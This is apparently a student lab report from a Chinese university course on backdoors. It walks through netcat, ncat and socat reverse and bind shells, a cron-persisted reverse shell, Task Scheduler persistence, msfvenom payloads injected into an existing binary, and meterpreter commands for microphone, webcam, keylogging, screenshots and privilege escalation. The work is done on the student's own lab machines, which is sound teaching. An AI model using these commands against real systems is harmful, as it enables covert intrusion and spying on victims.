实验内容

  • (1)使用netcat获取主机操作Shell,cron启动 (0.5分)

  • (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

  • (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
浏览网页的时候可能会因为浏览器漏洞进行后门的下载

(2)例举你知道的后门如何启动起来(win及linux)的方式?
首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动

(3)Meterpreter有哪些给你映像深刻的功能?
他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现

(4)如何发现自己有系统有没有被安装后门?
安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉

实验一

任务一 Windows获得Linux Shell

  • 1.首先使用命令ipconfig查看Windows的IP地址

  • 2.进入老师给的程序的ncat文件夹中,使用命令ncat.exe -l -p 5303监听本机的5303端口

  • 3.在kali环境中使用netcat命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh进行连接
  • 4.成功获得kali的权限,如图所示

    注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下

任务二 Linux获得Windows Shell

  • 1.在kali使用ifconfig查看kali的IP地址,第二行的就是IP地址了

  • 2.使用nc指令监听5303端口nc -l -p 5303
  • 3.在Windows下,使用ncat程序的-e选项反向连接kali的5303端口
    ncat.exe -e cmd.exe 192.168.1.154 5303
  • 4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作

任务三 使用nc传递数据

  • 1.首先在Windows下监听5303端口ncat.exe -l 5303
  • 2.在kali下连接到Windows端口netcat 192.168.1.101 5303
  • 3.建立连接后可以进行数据传输下面是我进行数据传输的结果

    任务四 使用netcat获取主机操作Shell,cron启动

  • 1.在Windows系统下,监听5303端口ncat.exe -l -p 5303
  • 2.使用crontab -e指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
    在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
  • 3.保存退出后的结果
  • 4.在16.45分成功获取了权限
  • 实验一借结束

实验二 使用socat获取主机操作Shell, 任务计划启动

  • 在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片

  • 点击操作选择启动程序程序或脚本填写你自己的socat.exe程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr
  • 这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exestderr重定向到stdout

  • 创建完成之后锁定计算机再重新启动即可发现程序已经在运行了

  • 然后在kali虚拟机中输入socat - tcp:192.168.1.101:5303这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell

  • 第二个实验结束

实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali上执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe

在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe指令,通过-lv选项看到当前的连接状态,这样被控主机就进入了文件接收模式

  • 在kali中执行nc 192.168.1.101 5303 < 20165303_backdoor.exe,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
  • 这里可以看到已经传输成功

  • 在Kali上使用msfconsole指令进入msf控制台

    先输入use exploit/multi/handler使用监听模块,
    set payload windows/meterpreter/reverse_tcp,设置payload
    set LHOST 192.168.1.154设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
    set LPORT 5303设置反弹回连的IP和端口

然后输入show options

在输入exploit使用监听

运行Windows7下的后门程序

可以看到kali已经获取了权限

  • 实验三结束

实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂

  • 1.使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

    在主文件夹中可以看到保存的音频文件wav

  • 2.使用webcam_snap指令可以使用摄像头进行拍照

  • 3.使用keyscan_start开始记录下敲键的过程,使用keyscan_dump指令读取敲键的记录

  • 4.使用screenshot可以进行截屏

  • 5.使用getuid可以查看当前用户,使用getsystem指令进行提权

  • 6.也可以使用webcam stream进行录像

实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

可以利用MSF直接生成shellcode注入到程序中

  • 这是网上查到的MSF命令行选项

-p, --payload      <payload>        使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。

--payload-options 攻击负荷(payload)标准参数(options)列表。

-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。

-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。

-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)

--help-formats 变量格式列表

-e, --encoder <encoder> 使用的编码(encoder)

-a, --arch <arch> 使用的结构(architecture)

--paltform <paltform> 攻击负荷的平台(platform)

--help-paltform 变量平台的列表信息

-s,--space <length> 产生有效负荷的最大长度

--encoder-space  <length> 编码的有效负荷的最大长度(默认是使用-s 的值)

-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’

-i,--iterations <count> 对负荷进行编码的次数。

-c,--add-code <path> 指定一个详细win32 shellcode文件给include

-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)

-k,--keep 保留模板行为并且把负荷作为一个新的线程注入

-o,--out <path> 保存攻击负荷(payload)

-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式

--smallest 生成最小可用攻击负荷

-h,--help 显示msfvenom使用信息

现在生成shellcode并注入到pwn1中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4

然后使用MSF进行监听
先输入msfconsole
然后输入set payload linux/x86/meterpreter/reverse_tcp
在输入set LHOST 192.168.1.154
接着set LPORT 5303
开始监听exploit

在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序
发现成功了

  • 首先应该注意给pwn4程序加权限chmod +x pwn4
  • 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86

这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多

总结与体会

遇到的问题

  • 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
  • 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
  • 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来

体会

后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节
后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
当然这是最简单的后门,我们还需要继续努力,多多学习

2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  2. PHP----------php封装的一些简单实用的方法汇总

    1.xml转换成array,格式不对的xml则返回false function xml_parser($str){    $xml_parser = xml_parser_create();    i ...

  3. 一个比较难忘的BUG

    本学期开设了软件测试课程,在课上有讨论到bug,想到bug,真是很令人头疼的东西,相信每个程序都多多少少会有几个头疼的bug. 初学java时写过一个字符串判断的循环,之前学的C++字符类型用“==” ...

  4. 【SW4STM32生成 hex文件的设置方法】

    SW4STM32生成 hex文件的设置方法 开发环境:WIN7_64 + SW4STM32  联系方式:yexiaopeng1992@126.com 修改: 2018年1月21日 在这周,有一个热心的 ...

  5. C++编译优化备忘

    基于GCC测试:http://www.tutorialspoint.com/compile_cpp11_online.php const A& a=fun() 与 A a= fun() 1.方 ...

  6. Qt3D 5.9 and future

    2017-05 http://blog.qt.io/blog/2017/05/24/qt3d/ Qt3D future 5.9 Use Qt Quick or QPainter to render i ...

  7. 利用multiprocessing.managers开发跨进程生产者消费者模型

    研究了下multiprocessing.managers,略有收获,随笔一篇: 核心思路是构造一个manager进程,这个进程可以通过unix socket或tcp socket与其它进程通信:因为利 ...

  8. JS文件写法操作,DOM基本操作

     js文件写法.规范 // 定义全局变量 var num = 0;//这个是用来记数的. // 页面加载完成 window.onload = funtion(){ intVar();//初始化变量 s ...

  9. Java中的String为什么是不可变的? -- String源码分析

    众所周知, 在Java中, String类是不可变的.那么到底什么是不可变的对象呢? 可以这样认为:如果一个对象,在它创建完成之后,不能再改变它的状态,那么这个对象就是不可变的.不能改变状态的意思是, ...

  10. Insert 导致死锁的两种情况

    官档原文,懒得翻译了 https://dev.mysql.com/doc/refman/5.7/en/innodb-locks-set.html INSERT sets an exclusive lo ...